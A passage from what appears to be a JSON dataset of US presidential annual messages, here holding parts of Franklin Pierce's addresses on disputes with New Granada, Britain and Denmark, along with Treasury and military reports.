possible to decide which was the\nGovernment de facto, and, awaiting further developments, I have refused to\nreceive either.Questions of the most serious nature are pending between the United States\nand the Republic of New Granada. The Government of that Republic undertook\na year since to impose tonnage duties on foreign vessels in her ports, but\nthe purpose was resisted by this Government as being contrary to existing\ntreaty stipulations with the United States and to rights conferred by\ncharter upon the Panama Railroad Company, and was accordingly refurbished\nat that time, it being admitted that our vessels were entitled to be exempt\nfrom tonnage duty in the free ports of Panama and Aspinwall. But the\npurpose has been recently revived on the part of New Granada by the\nenactment of a law to subject vessels visiting her ports to the tonnage\nduty of 40 cents per ton, and although the law has not been put in force,\nyet the right to enforce it is still asserted and may at any time be acted\non by the Government of that Republic.The Congress of New Granada has also enacted a law during the last year\nwhich levies a tax of more than $3 on every pound of mail matter\ntransported across the Isthmus. The sum thus required to be paid on the\nmails of the United States would be nearly $2,000,000 annually in addition\nto the large sum payable by contract to the Panama Railroad Company. If the\nonly objection to this exaction were the exorbitancy of its amount, it\ncould not be submitted to by the United States.The imposition of it, however, would obviously contravene our treaty with\nNew Granada and infringe the contract of that Republic with the Panama\nRailroad Company. The law providing for this tax was by its terms to take\neffect on the 1st of September last, but the local authorities on the\nIsthmus have been induced to suspend its execution and to await further\ninstructions on the subject from the Government of the Republic. I am not\nyet advised of the determination of that Government. If a measure so\nextraordinary in its character and so clearly contrary to treaty\nstipulations and the contract rights of the Panama Railroad Company,\ncomposed mostly of American citizens, should be persisted in, it will be\nthe duty of the United States to resist its execution.I regret exceedingly that occasion exists to invite your attention to a\nsubject of still graver import in our relations with the Republic of New\nGranada. On the 15th day of April last a riotous assemblage of the\ninhabitants of Panama committed a violent and outrageous attack on the\npremises of the railroad company and the passengers and other persons in or\nnear the same, involving the death of several citizens of the United\nStates, the pillage of many others, and the destruction of a large amount\nof property belonging to the railroad company. I caused full investigation\nof that event to be made, and the result shows satisfactorily that complete\nresponsibility for what occurred attaches to the Government of New Granada.\nI have therefore demanded of that Government that the perpetrators of the\nwrongs in question should be punished; that provision should be made for\nthe families of citizens of the United States who were killed, with full\nindemnity for the property pillaged or destroyed.The present condition of the Isthmus of Panama, in so far as regards the\nsecurity of persons and property passing over it, requires serious\nconsideration. Recent incidents tend to show that the local authorities can\nnot be relied on to maintain the public peace of Panama, and there is just\nground for apprehension that a portion of the inhabitants are meditating\nfurther outrages, without adequate measures for the security and protection\nof persons or property having been taken, either by the State of Panama or\nby the General Government of New Granada. Under the guaranties of treaty,\ncitizens of the United States have, by the outlay of several million\ndollars, constructed a railroad across the Isthmus, and it has become the\nmain route between our Atlantic and Pacific possessions, over which\nmultitudes of our citizens and a vast amount of property are constantly\npassing; to the security and protection of all which and the continuance of\nthe public advantages involved it is impossible for the Government of the\nUnited States to be indifferent.I have deemed the danger of the recurrence of scenes of lawless violence in\nthis quarter so imminent as to make it my duty to station a part of our\nnaval force in the harbors of Panama and Aspinwall, in order to protect the\npersons and property of the citizens of the United States in those ports\nand to insure to them safe passage across the Isthmus. And it would, in my\njudgment, be unwise to withdraw the naval force now in those ports until,\nby the spontaneous action of the Republic of New Granada or otherwise, some\nadequate arrangement shall have been made for the protection and security\nof a line of interoceanic communication, so important at this time not to\nthe United States only, but to all other maritime states, both of Europe\nand America.Meanwhile negotiations have been instituted, by means of a special\ncommission, to obtain from New Granada full indemnity for injuries\nsustained by our citizens on the Isthmus and satisfactory security for the\ngeneral interests of the United States.In addressing to you my last annual message the occasion seems to me an\nappropriate one to express my congratulations, in view of the peace,\ngreatness, and felicity which the United States now possess and enjoy. To\npoint you to the state of the various Departments of the Government and of\nall the great branches of the public service, civil and military, in order\nto speak of the intelligence and the integrity which pervades the whole,\nwould be to indicate but imperfectly the administrative condition of the\ncountry and the beneficial effects of that on the general welfare. Nor\nwould it suffice to say that the nation is actually at peace at home and\nabroad; that its industrial interests are prosperous; that the canvas of\nits mariners whitens every sea, and the plow of its husbandmen is marching\nsteadily onward to the bloodless conquest of the continent; that cities and\npopulous States are springing up, as if by enchantment, from the bosom of\noar Western wilds, and that the courageous energy of our people is making\nof these United States the great Republic of the world. These results have\nnot been attained without passing through trials and perils, by experience\nof which, and thus only, nations can harden into manhood. Our forefathers\nwere trained to the wisdom which conceived and the courage which achieved\nindependence by the circumstances which surrounded them, and they were thus\nmade capable of the creation of the Republic. It devolved on the next\ngeneration to consolidate the work of the Revolution, to deliver the\ncountry entirely from the influences of conflicting transatlantic\npartialities or antipathies which attached to our colonial and\nRevolutionary history, and to organize the practical operation of the\nconstitutional and legal institutions of the Union. To us of this\ngeneration remains the not less noble task of maintaining and extending the\nnational power. We have at length reached that stage of our country's\ncareer in which the dangers to be encountered and the exertions to be made\nare the incidents, not of weakness, but of strength. In foreign relations\nwe have to attemper our power to the less happy condition of other\nRepublics in America and to place ourselves in the calmness and conscious\ndignity of right by the side of the greatest and wealthiest of the Empires\nof Europe. In domestic relations we have to guard against the shock of the\ndiscontents, the ambitions, the interests, and the exuberant, and therefore\nsometimes irregular, impulses of opinion or of action which are the natural\nproduct of the present political elevation, the self-reliance, and the\nrestless spirit of enterprise of the people of the United States.I shall prepare to surrender the Executive trust to my successor and retire\nto private life with sentiments of profound gratitude to the good\nProvidence which during the period of my Administration has vouchsafed to\ncarry the country through many difficulties, domestic and foreign, and\nwhich enables me to contemplate the spectacle of amicable and respectful\nrelations between ours and all other governments and the establishment of\nconstitutional order and tranquillity throughout the Union.", 
+    "name": "Franklin Pierce"
+}
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+{
+    "date": "December 31, 1855", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:The Constitution of the United States provides that Congress shall assemble\nannually on the first Monday of December, and it has been usual for the\nPresident to make no communication of a public character to the Senate and\nHouse of Representatives until advised of their readiness to receive it. I\nhave deferred to this usage until the close of the first month of the\nsession, but my convictions of duty will not permit me longer to postpone\nthe discharge of the obligation enjoined by the Constitution upon the\nPresident \"to give to the Congress information of the state of the Union\nand recommend to their consideration such measures as he shall judge\nnecessary and expedient.\" It is matter of congratulation that the Republic\nis tranquilly advancing in a career of prosperity and peace.Whilst relations of amity continue to exist between the United States and\nall foreign powers, with some of them grave questions are depending which\nmay require the consideration of Congress.Of such questions, the most important is that which has arisen out of the\nnegotiations with Great Britain in reference to Central America. By the\nconvention concluded between the two Governments on the 19th of April,\n1850, both parties covenanted that \"neither will ever\" \"occupy, or fortify,\nor colonize, or assume or exercise any dominion over Nicaragua. Costa Rica,\nthe Mosquito Coast, or any part of Central America.\"It was the undoubted understanding of the United States in making this\ntreaty that all the present States of the former Republic of Central\nAmerica and the entire territory of each would thenceforth enjoy complete\nindependence, and that both contracting parties engaged equally and to the\nsame extent, for the present and, for the future, that if either then had\nany claim of right in Central America such claim and all occupation or\nauthority under it were unreservedly relinquished by the stipulations of\nthe convention, and that no dominion was thereafter to be exercised or\nassumed in any part of Central America by Great Britain or the United\nStates.This Government consented to restrictions in regard to a region of country\nwherein we had specific and peculiar interests only upon the conviction\nthat the like restrictions were in the same sense obligatory on Great\nBritain. But for this understanding of the force and effect of the\nconvention it would never have been concluded by us.So clear was this understanding on the part of the United States that in\ncorrespondence contemporaneous with the ratification of the convention it\nwas distinctly expressed that the mutual covenants of nonoccupation were\nnot intended to apply to the British establishment at the Balize. This\nqualification is to be ascribed to the fact that, in virtue of successive\ntreaties with previous sovereigns of the country, Great Britain had\nobtained a concession of the right to cut mahogany or dyewoods at the\nBalize, but with positive exclusion of all domain or sovereignty; and thus\nit confirms the natural construction and understood import of the treaty as\nto all the rest of the region to which the stipulations applied.It, however, became apparent at an early day after entering upon the\ndischarge of my present functions that Great Britain still continued in the\nexercise or assertion of large authority in all that part of Central\nAmerica commonly called the Mosquito Coast, and covering the entire length\nof the State of Nicaragua and a part of Costa Rica; that she regarded the\nBalize as her absolute domain and was gradually extending its limits at the\nexpense of the State of Honduras, and, that she had formally colonized a\nconsiderable insular group known as the Bay Islands, and belonging of right\nto that State.All these acts or pretensions of Great Britain, being contrary to the\nrights of the States of Central America and to the manifest tenor of her\nstipulations with the United States as understood by this Government, have\nbeen made the subject of negotiation through the American minister in\nLondon. I transmit herewith the instructions to him on the subject and the\ncorrespondence between him and the British secretary for foreign affairs,\nby which you will perceive that the two Governments differ widely and\nirreconcilably as to the construction of the convention and its effect on\ntheir respective relations to Central America.Great Britain so construes the convention as to maintain unchanged all her\nprevious pretensions over the Mosquito Coast and in different parts of\nCentral America. These pretensions as to the Mosquito Coast are founded on\nthe assumption of political relation between Great Britain and the remnant\nof a tribe of Indians on that coast, entered into at a time when the whole\ncountry was a colonial possession of Spain. It can not be successfully\ncontroverted that by the public law of Europe and America no possible act\nof such Indians or their predecessors could confer on Great Britain any\npolitical rights.Great Britain does not allege the assent of Spain as the origin of her\nclaims on the Mosquito Coast. She has, on the contrary, by repeated and\nsuccessive treaties renounced and relinquished all pretensions of her own\nand recognized the full and sovereign rights of Spain in the most\nunequivocal terms. Yet these pretensions, so without solid foundation in\nthe beginning and thus repeatedly abjured, were at a recent period revived\nby Great Britain against the Central American States, the legitimate\nsuccessors to all the ancient jurisdiction of Spain in that region. They\nwere first applied only to a defined part of the coast of Nicaragua,\nafterwards to the whole of its Atlantic coast, and lastly to a part of the\ncoast of Costa Rica, and they are now reasserted to this extent\nnotwithstanding engagements to the United States.On the eastern coast of Nicaragua and Costa Rica the interference of Great\nBritain, though exerted at one time in the form of military occupation of\nthe port of San Juan del Norte, then in the peaceful possession of the\nappropriate authorities of the Central American States, is now presented by\nher as the rightful exercise of a protectorship over the Mosquito tribe of\nIndians.But the establishment at the Balize, now reaching far beyond its treaty\nlimits into the State of Honduras, and that of the Bay Islands,\nappertaining of right to the same State, are as distinctly colonial\ngovernments as those of Jamaica or Canada, and therefore contrary to the\nvery letter, as well as the spirit, of the convention with the United\nStates as it was at the time of ratification and now is understood by this\nGovernment.The interpretation which the British Government thus, in assertion and act,\npersists in ascribing to the convention entirely changes its character.\nWhile it holds us to all our obligations, it in a great measure releases\nGreat Britain from those which constituted the consideration of this\nGovernment for entering into the convention. It is impossible, in my\njudgment, for the United States to acquiesce in such a construction of the\nrespective relations of the two Governments to Central America.To a renewed call by this Government upon Great Britain to abide by and\nCarry into effect the stipulations of the convention according to its\nobvious import by withdrawing from the possession or colonization of\nportions of the Central American States of Honduras, Nicaragua, and Costa\nRica, the British Government has at length replied, affirming that the\noperation of the treaty is prospective only and did not require Great\nBritain to abandon or contract any possessions held by her in Central\nAmerica at the date of its conclusion.This reply substitutes a partial issue in the place of the general one\npresented by the United States. The British Government passes over the\nquestion of the rights of Great Britain, real or supposed, in Central\nAmerica, and assumes that she had such rights at the date of the treaty and\nthat those rights comprehended the protectorship of the Mosquito Indians,\nthe extended jurisdiction and limits of the Balize, and the colony of the\nBay Islands, and thereupon proceeds by implication to infer that if the\nstipulations of the treaty be merely future in effect Great Britain may\nstill continue to hold the contested portions of Central America. The\nUnited States can not admit either the inference or the premises. We\nsteadily deny that at the date of the treaty Great Britain had any\npossessions there other than the limited and peculiar establishment at the\nBalize, and maintain that if she had any they were surrendered by the\nconvention.This Government, recognizing the obligations of the treaty, has, of course,\ndesired to see it executed in good faith by both parties, and in the\ndiscussion, therefore, has not looked to rights which we might assert\nindependently of the treaty in consideration of our geographical position\nand of other circumstances which create for us relations to the Central\nAmerican States different from those of any government of Europe. The\nBritish Government, in its last communication, although well knowing the\nviews of the United States, still declares that it sees no reason why a\nconciliatory spirit may not enable the two Governments to overcome all\nobstacles to a satisfactory adjustment of the subject.Assured of the correctness of the construction of the treaty constantly\nadhered to by this Government and resolved to insist on the rights of the\nUnited States, yet actuated also by the same desire which is avowed by the\nBritish Government, to remove all causes of serious misunderstanding\nbetween two nations associated by so many ties of interest and kindred, it\nhas appeared to me proper not to consider an amicable solution of the\ncontroversy hopeless.There is, however, reason to apprehend that with Great Britain in the\nactual occupation of the disputed territories, and the treaty therefore\npractically null so far as regards our rights, this international\ndifficulty can not long remain undetermined without involving in serious\ndanger the friendly relations which it is the interest as well as the duty\nof both countries to cherish and preserve. It will afford me sincere\ngratification if future efforts shall result in the success anticipated\nheretofore with more confidence than the aspect of the case permits me now\nto entertain.One other subject of discussion between the United States and Great Britain\nhas grown out of the attempt, which the exigencies of the war in which she\nis engaged with Russia induced her to make, to draw recruits from the\nUnited States.It is the traditional and settled policy of the United States to maintain\nimpartial neutrality during the wars which from time to time occur among\nthe great powers of the world. Performing all the duties of neutrality\ntoward the respective belligerent states, we may reasonably expect them not\nto interfere with our lawful enjoyment of its benefits. Notwithstanding the\nexistence of such hostilities, our citizens retained the individual right\nto continue all their accustomed pursuits, by land or by sea, at home or\nabroad, subject only to such restrictions in this relation as the laws of\nwar, the usage of nations, or special treaties may impose; and it is our\nsovereign right that our territory and jurisdiction shall not be invaded by\neither of the belligerent parties for the transit of their armies, the\noperations of their fleets, the levy of troops for their service, the\nfitting out of cruisers by or against either, or any other act or incident\nof war. And these undeniable rights of neutrality, individual and national,\nthe United States will under no circumstances surrender.In pursuance of this policy, the laws of the United States do not forbid\ntheir citizens to sell to either of the belligerent powers articles\ncontraband of war or take munitions of war or soldiers on board their\nprivate ships for transportation; and although in so doing the individual\ncitizen exposes his property or person to some of the hazards of war, his\nacts do not involve any breach of national neutrality nor of themselves\nimplicate the Government. Thus, during the progress of the present war in\nEurope, our citizens have, without national responsibility therefor, sold\ngunpowder and arms to all buyers, regardless of the destination of those\narticles. Our merchantmen have been, and still continue to be, largely\nemployed by Great Britain and by France in transporting troops, provisions,\nand munitions of war to the principal seat of military operations and in\nbringing home their sick and wounded soldiers; but such use of our\nmercantile marine is not interdicted either by the international or by our\nmunicipal law, and therefore does not compromise our neutral relations with\nRussia. But our municipal law, in accordance with the law of nations,\nperemptorily forbids not only foreigners, but our own citizens, to fit out\nwithin the United States a vessel to commit hostilities against any state\nwith which the United States are at peace, or to increase the force of any\nforeign armed vessel intended for such hostilities against a friendly\nstate.Whatever concern may have been felt by either of the belligerent powers\nlest private armed cruisers or other vessels in the service of one might be\nfitted out in the ports of this country to depredate on the property of the\nother, all such fears have proved to be utterly groundless. Our citizens\nhave been withheld from any such act or purpose by good faith and by\nrespect for the law.While the laws of the Union are thus peremptory in their prohibition of the\nequipment or armament of belligerent cruisers in our ports, they provide\nnot less absolutely that no person shall, within the territory or\njurisdiction of the United States, enlist or enter himself, or hire or\nretain another person to enlist or enter himself, or to go beyond the\nlimits or jurisdiction of the United States with intent to be enlisted or\nentered, in the service of any foreign state, either as a soldier or as a\nmarine or seaman on board of any vessel of war, letter of marque, or\nprivateer. And these enactments are also in strict conformity with the law\nof nations, which declares that no state has the right to raise troops for\nland or sea service in another state without its consent, and that, whether\nforbidden by the municipal law or not, the very attempt to do it without\nsuch consent is an attack on the national sovereignty.Such being the public rights and the municipal law of the United States, no\nsolicitude on the subject was entertained by this Government when, a year\nsince, the British Parliament passed an act to provide for the enlistment\nof foreigners in the military service of Great Britain. Nothing on the face\nof the act or in its public history indicated that the British Government\nproposed to attempt recruitment in the United States, nor did it ever give\nintimation of such intention to this Government. It was matter of surprise,\ntherefore, to find subsequently that the engagement of persons within the\nUnited States to proceed to Halifax, in the British Province of Nova\nScotia, and there enlist in the service of Great Britain, was going on\nextensively, with little or no disguise. Ordinary legal steps were\nimmediately taken to arrest and punish parties concerned, and so put an end\nto acts infringing the municipal law and derogatory to our sovereignty.\nMeanwhile suitable representations on the subject were addressed to the\nBritish Government.Thereupon it became known, by the admission of the British Government\nitself, that the attempt to draw recruits from this country originated with\nit, or at least had its approval and sanction; but it also appeared that\nthe public agents engaged in it had \"stringent instructions\" not to violate\nthe municipal law of the United States.It is difficult to understand how it should have been supposed that troops\ncould be raised here by Great Britain without violation of the municipal\nlaw. The unmistakable object of the law was to prevent every such act which\nif performed must be either in violation of the law or in studied evasion\nof it, and in either alternative the act done would be alike injurious to\nthe sovereignty of the United States. In the meantime the matter acquired\nadditional importance by the recruitments in the United States not being\ndiscontinued, and the disclosure of the fact that they were prosecuted upon\na systematic plan devised by official authority; that recruiting rendezvous\nhad been opened in our principal cities and depots for the reception of\nrecruits established on our frontier, and the whole business conducted\nunder the supervision and by the regular cooperation of British officers,\ncivil and military, some in the North American Provinces and some in the\nUnited States. The complicity of those officers in an undertaking which\ncould only be accomplished by defying our laws, throwing suspicion over our\nattitude of neutrality, and disregarding our territorial rights is\nconclusively proved by the evidence elicited on the trial of such of their\nagents as have been apprehended and convicted. Some of the officers thus\nimplicated are of high official position, and many of them beyond our\njurisdiction, so that legal proceedings could not reach the source of the\nmischief.These considerations, and the fact that the cause of complaint was not a\nmere casual occurrence, trot a deliberate design, entered upon with full\nknowledge of our laws and national policy and conducted by responsible\npublic functionaries, impelled me to present the case to the British\nGovernment, in order to secure not only a cessation of the, wrong, but its\nreparation. The subject is still under discussion, the result of which will\nbe communicated to you in due time.I repeat the recommendation submitted to the last Congress, that provision\nbe made for the appointment of a commissioner, in connection with Great\nBritain, to survey and establish the boundary line which divides the\nTerritory of Washington from the contiguous British possessions. By reason\nof the extent and importance of the country in dispute, there has been\nimminent danger of collision between the subjects of Great Britain and the\ncitizens of the United States, including their respective authorities, in\nthat quarter. The prospect of a speedy arrangement has contributed hitherto\nto induce on both sides forbearance to assert by force what each claims as\na right. Continuance of delay on the part of the two Governments to act in\nthe matter will increase the dangers and difficulties of the controversy.Misunderstanding exists as to the extent, character, and value of the\npossessory rights of the Hudsons Bay Company and the property of the Pugets\nSound Agricultural Company reserved in our treaty with Great Britain\nrelative to the Territory of Oregon. I have reason to believe that a\ncession of the rights of both companies to the United States, which would\nbe the readiest means of terminating all questions, can be obtained on\nreasonable terms, and with a view to this end I present the subject to the\nattention of Congress.The colony of Newfoundland, having enacted the laws required by the treaty\nof the 5th of June, 1854, is now placed on the same footing in respect to\ncommercial intercourse with the United States as the other British North\nAmerican Provinces.The commission which that treaty contemplated, for determining the rights\nof fishery in rivers and mouths of rivers on the coasts of the United\nStates and the British North American Provinces, has been organized, and\nhas commenced its labors, to complete which there are needed further\nappropriations for the service of another season.In pursuance of the authority conferred by a resolution of the Senate of\nthe United States passed on the 3d of March last, notice was given to\nDenmark on the 14th day of April of the intention of this Government to\navail itself of the stipulation of the subsisting convention of friendship,\ncommerce, and navigation between that Kingdom and the United States whereby\neither party might after ten years terminate the same at the expiration of\none year from the date of notice for that purpose.The considerations which led me to call the attention of Congress to that\nconvention and induced the Senate to adopt the resolution referred to still\ncontinue in full force. The convention contains an article which, although\nit does not directly engage the United States to submit to the imposition\nof tolls on the vessels and cargoes of Americans passing into or from the\nBaltic Sea during the continuance of the treaty, yet may by possibility be\nconstrued as implying such submission. The exaction of those tolls not\nbeing justified by any principle of international law, it became the right\nand duty of the United States to relieve themselves from the implication of\nengagement on the subject, so as to be perfectly free to act in the\npremises in such way as their public interests and honor shall demand.I remain of the opinion that the United States ought not to submit to the\npayment of the Sound dues, not so much because of their amount, which is a\nsecondary matter, but because it is in effect the recognition of the right\nof Denmark to treat one of the great maritime highways of nations as a\nclose sea, and prevent the navigation of it as a privilege, for which\ntribute may be imposed upon those who have occasion to use it.This Government on a former occasion, not unlike the present, signalized\nits determination to maintain the freedom of the seas and of the great\nnatural channels of navigation. The Barbary States had for a long time\ncoerced the payment of tribute from all nations whose ships frequented the\nMediterranean. To the last demand of such payment made by them the United\nStates, although suffering less by their depredations than many other\nnations, returned the explicit answer that we preferred war to tribute, and\nthus opened the way to the relief of the commerce of the world from an\nignominious tax, so long submitted to by the more powerful nations of\nEurope.If the manner of payment of the Sound dues differ from that of the tribute\nformerly conceded to the Barbary States, still their exaction by Denmark\nhas no better foundation in right. Each was in its origin nothing but a tax\non a common natural right, extorted by those who were at that time able to\nobstruct the free and secure enjoyment of it, but who no longer possess\nthat power.Denmark, while resisting our assertion of the freedom of the Baltic Sound\nand Belts, has indicated a readiness to make some new arrangement on the\nsubject, and has invited the governments interested, including the United\nStates, to be represented in a convention to assemble for the purpose of\nreceiving and considering a proposition which she intends to submit for the\ncapitalization of the Sound dues and the distribution of the sum to be paid\nas commutation among the governments according to the respective\nproportions of their maritime commerce to and from the Baltic. I have\ndeclined, in behalf of the United States, to accept this invitation, for\nthe most cogent reasons. One is that Denmark does not offer to submit to\nthe convention the question of her right to levy the Sound dues. The second\nis that if the convention were allowed to take cognizance of that\nparticular question, still it would not be competent to deal with the great\ninternational principle involved, which affects the right in other cases of\nnavigation and commercial freedom, as well as that of access to the Baltic.\nAbove all, by the express terms of the proposition it is contemplated that\nthe consideration of the Sound dues shall be commingled with and made\nsubordinate to a matter wholly extraneous--the balance of power among the\nGovernments of Europe.While, however, rejecting this proposition and insisting on the right of\nfree transit into and from the Baltic, I have expressed to Denmark a\nwillingness on the part of the United States to share liberally with other\npowers in compensating her for any advantages which commerce shall\nhereafter derive from expenditures made by her for the improvement and\nsafety of the navigation of the Sound or Belts.I lay before you herewith sundry documents on the subject, in which my\nviews are more fully disclosed. Should no satisfactory arrangement be soon\nconcluded, I shall again call your attention to the subject, with\nrecommendation of such measures as may appear to be required in order to\nassert and secure the rights of the United States, so far as they are\naffected by the pretensions of Denmark.I announce with much gratification that since the adjournment of the last\nCongress the question then existing between this Government and that of\nFrance respecting the French consul at San Francisco has been\nsatisfactorily determined, and that the relations of the two Governments\ncontinue to be of the most friendly nature.A question, also, which has been pending for several years between the\nUnited States and the Kingdom of Greece, growing out of the sequestration\nby public authorities of that country of property belonging to the present\nAmerican consul at Athens, and which had been the subject of very earnest\ndiscussion heretofore, has recently been settled to the satisfaction of the\nparty interested and of both Governments.With Spain peaceful relations are still maintained, and some progress has\nbeen made in securing the redress of wrongs complained of by this\nGovernment. Spain has not only disavowed and disapproved the conduct of the\nofficers who illegally seized and detained the steamer Black Warrior at\nHavana, but has also paid the sum claimed as indemnity for the loss thereby\ninflicted on citizens of the United States.In consequence of a destructive hurricane which visited Cuba in 1844, the\nsupreme authority of that island issued a decree permitting the importation\nfor the period of six months of certain building materials and provisions\nfree of duty, but revoked it when about half the period only had elapsed,\nto the injury of citizens of the United States who had proceeded to act on\nthe faith of that decree. The Spanish Government refused indemnification to\nthe parties aggrieved until recently, when it was assented to, payment\nbeing promised to be made so soon as the amount due can be ascertained.Satisfaction claimed for the arrest and search of the steamer El Dorado has\nnot yet been accorded, but there is reason to believe that it will be; and\nthat case, with others, continues to be urged on the attention of the\nSpanish Government. I do not abandon the hope of concluding with Spain some\ngeneral arrangement which, if it do not wholly prevent the recurrence of\ndifficulties in Cuba, will render them less frequent, and, whenever they\nshall occur, facilitate their more speedy settlement.The interposition of this Government has been invoked by many of its\ncitizens on account of injuries done to their persons and property for\nwhich the Mexican Republic is responsible. The unhappy situation of that\ncountry for some time past has not allowed its Government to give due\nconsideration to claims of private reparation, and has appeared to call for\nand justify some forbearance in such matters on the part of this\nGovernment. But if the revolutionary movements which have lately occurred\nin that Republic end in the organization of a stable government, urgent\nappeals to its justice will then be made, and, it may be hoped, with\nsuccess, for the redress of all complaints of our citizens.In regard to the American Republics, which from their proximity and other\nconsiderations have peculiar relations to this Government, while it has\nbeen my constant aim strictly to observe all the obligations of political\nfriendship and of good neighborhood, obstacles to this have arisen in some\nof them from their own insufficient power to cheek lawless irruptions,\nwhich in effect throws most of the task on the United States. Thus it is\nthat the distracted internal condition of the State of Nicaragua has made\nit incumbent on me to appeal to the good faith of our citizens to abstain\nfrom unlawful intervention in its affairs and to adopt preventive measures\nto the same end, which on a similar occasion had the best results in\nreassuring the peace of the Mexican States of Sonora and Lower California.Since the last session of Congress a treaty of amity, commerce, and\nnavigation and for the surrender of fugitive criminals with the Kingdom of\nthe Two Sicilies; a treaty of friendship, commerce, and navigation with\nNicaragua, and a convention of commercial reciprocity with the Hawaiian\nKingdom have been negotiated. The latter Kingdom and the State of Nicaragua\nhave also acceded to a declaration recognizing as international rights the\nprinciples contained in the convention between the United States and Russia\nof July 22, 1854. These treaties and conventions will be laid before the\nSenate for ratification.The statements made in my last annual message respecting the anticipated\nreceipts and expenditures of the Treasury have been substantially\nverified.It appears from the report of the Secretary of the Treasury that the\nreceipts during the last fiscal year, ending June 30, 1855, from all\nsources were $65,003,930, and that the public expenditures for the same\nperiod, exclusive of payments on account of the public debt, amounted to\n$56,365,393. During the same period the payments made in redemption of the\npublic debt, including interest and premium, amounted to $9,844,528.The balance in the Treasury at the beginning of the present fiscal year,\nJuly 1, 1855, was $18,931,976; the receipts for the first quarter and the\nestimated receipts for the remaining three quarters amount together to\n$67,918,734; thus affording in all, as the available resources of the\ncurrent fiscal year, the sum of $86,856,710.If to the actual expenditures of the first quarter of the current fiscal\nyear be added the probable expenditures for the remaining three quarters,\nas estimated by the Secretary of the Treasury, the sum total will be\n$71,226,846, thereby leaving an estimated balance in the Treasury on July\n1, 1856, of $15,623,863.41.In the above-estimated expenditures of the present fiscal year are included\n$3,000,000 to meet the last installment of the ten millions provided for in\nthe late treaty with Mexico and $7,750,000 appropriated on account of the\ndebt due to Texas, which two sums make an aggregate amount of $10,750,000\nand reduce the expenditures, actual or estimated, for ordinary objects of\nthe year to the sum of $60,476,000.The amount of the public debt at the commencement of the present fiscal\nyear was $40,583,631, and, deduction being made of subsequent payments, the\nwhole public debt of the Federal Government remaining at this time is less\nthan $40,000,000. The remnant of certain other Government stocks, amounting\nto $243,000, referred to in my last message as outstanding, has since been\npaid.I am fully persuaded that it would be difficult to devise a system superior\nto that by which the fiscal business of the Government is now conducted.\nNotwithstanding the great number of public agents of collection and\ndisbursement, it is believed that the checks and guards provided, including\nthe requirement of monthly returns, render it scarcely possible for any\nconsiderable fraud on the part of those agents or neglect involving hazard\nof serious public loss to escape detection. I renew, however, the\nrecommendation heretofore made by me of the enactment of a law declaring it\nfelony on the part of public officers to insert false entries in their\nbooks of record or account or to make false returns, and also requiring\nthem on the termination of their service to deliver to their successors all\nbooks, records, and other objects of a public nature in their custody.Derived, as our public revenue is, in chief part from duties on imports,\nits magnitude affords gratifying evidence of the prosperity, not only of\nour commerce, but of the other great interests upon which that depends.The principle that all moneys not required for the current expenses of the\nGovernment should remain for active employment in the hands of the people\nand the conspicuous fact that the annual revenue from all sources exceeds\nby many millions of dollars the amount needed for a prudent and economical\nadministration of public affairs can not fail to suggest the propriety of\nan early revision and reduction of the tariff of duties on imports. It is\nnow so generally conceded that the purpose of revenue alone can justify the\nimposition of duties on imports that in readjusting the impost tables and\nschedules, which unquestionably require essential modifications, a\ndeparture from the principles of the present tariff is not anticipated.The Army during the past year has been actively engaged in defending the\nIndian frontier, the state of the service permitting but few and small\ngarrisons in our permanent fortifications. The additional regiments\nauthorized at the last session of Congress have been recruited and\norganized, and a large portion of the troops have already been sent to the\nfield. All the duties which devolve on the military establishment have been\nsatisfactorily performed, and the dangers and privations incident to the\ncharacter of the service required of our troops have furnished additional\nevidence of their courage, zeal, and capacity to meet any requisition which\ntheir country may make upon them. For the details of the military\noperations, the distribution of the troops, and additional provisions\nrequired for the military service, I refer to the report of the Secretary\nof War and the accompanying documents.Experience gathered from events which have transpired since my last annual\nmessage has but served to confirm the opinion then expressed of the\npropriety of making provision by a retired list for disabled officers and\nfor increased compensation to the officers retained on the list for active\nduty. All the reasons which existed when these measures were recommended on\nformer occasions continue without modification, except so far as\ncircumstances have given to some of them additional force.The recommendations heretofore made for a partial reorganization of the\nArmy are also renewed. The thorough elementary education given to those\nofficers who commenced their service with the grade of cadet qualifies them\nto a considerable extent to perform the duties of every arm of the service;\nbut to give the highest efficiency to artillery requires the practice and\nspecial study of many years, and it is not, therefore, believed to be\nadvisable to maintain in time of peace a larger force of that arm than can\nbe usually employed in the duties appertaining to the service of field and\nsiege artillery. The duties of the staff in all its various branches belong\nto the movements of troops, and the efficiency of an army in the field\nwould materially depend upon the ability with which those duties are\ndischarged. It is not, as in the case of the artillery, a specialty, but\nrequires also an intimate knowledge of the duties of an officer of the\nline, and it is not doubted that to complete the education of an officer\nfor either the line or the general staff it is desirable that he shall have\nserved in both. With this view, it was recommended on a former occasion\nthat the duties of the staff should be mainly performed by details from the\nline, and, with conviction of the advantages which would result from such a\nchange, it is again presented for the consideration of Congress.The report of the Secretary of the Navy, herewith submitted, exhibits in\nfull the naval operations of the past year, together with the present\ncondition of the service, and it makes suggestions of further legislation,\nto which your attention is invited.The construction of the six steam frigates for which appropriations were\nmade by the last Congress has proceeded in the most satisfactory manner and\nwith such expedition as to warrant the belief that they will be ready for\nservice early in the coming spring. Important as this addition to our naval\nforce is, it still remains inadequate to the contingent exigencies of the\nprotection of the extensive seacoast and vast commercial interests of the\nUnited States. In view of this fact and of the acknowledged wisdom of the\npolicy of a gradual and systematic increase of the Navy an appropriation is\nrecommended for the construction of six steam sloops of war.In regard to the steps taken in execution of the act of Congress to promote\nthe efficiency of the Navy, it is unnecessary for me to say more than to\nexpress entire concurrence in the observations on that subject presented by\nthe Secretary in his report.It will be perceived by the report of the postmaster-General that the gross\nexpenditure of the Department for the last fiscal year was $9,968,342 and\nthe gross receipts $7,342,136, making an excess of expenditure over\nreceipts of $2,626,206; and that the cost of mail transportation during\nthat year was $674,952 greater than the previous year. Much of the heavy\nexpenditures to which the Treasury is thus subjected is to be ascribed to\nthe large quantity of printed matter conveyed by the mails, either franked\nor liable to no postage by law or to very low rates of postage compared\nwith that charged on letters, and to the great cost of mail service on\nrailroads and by ocean steamers. The suggestions of the Postmaster-General\non the subject deserve the consideration of Congress.The report of the Secretary of the Interior will engage your attention as\nwell for useful suggestions it contains as for the interest and importance\nof the subjects to which they refer.The aggregate amount of public land sold during the last fiscal year,\nlocated with military scrip or land warrants, taken up under grants for\nroads, and selected as swamp lands by States is 24,557,409 acres, of which\nthe portion sold was 15,729,524 acres, yielding in receipts the sum of\n$11,485,380. In the same period of time 8,723,854 acres have been surveyed,\nbut, in consideration of the quantity already subject to entry, no\nadditional tracts have been brought into 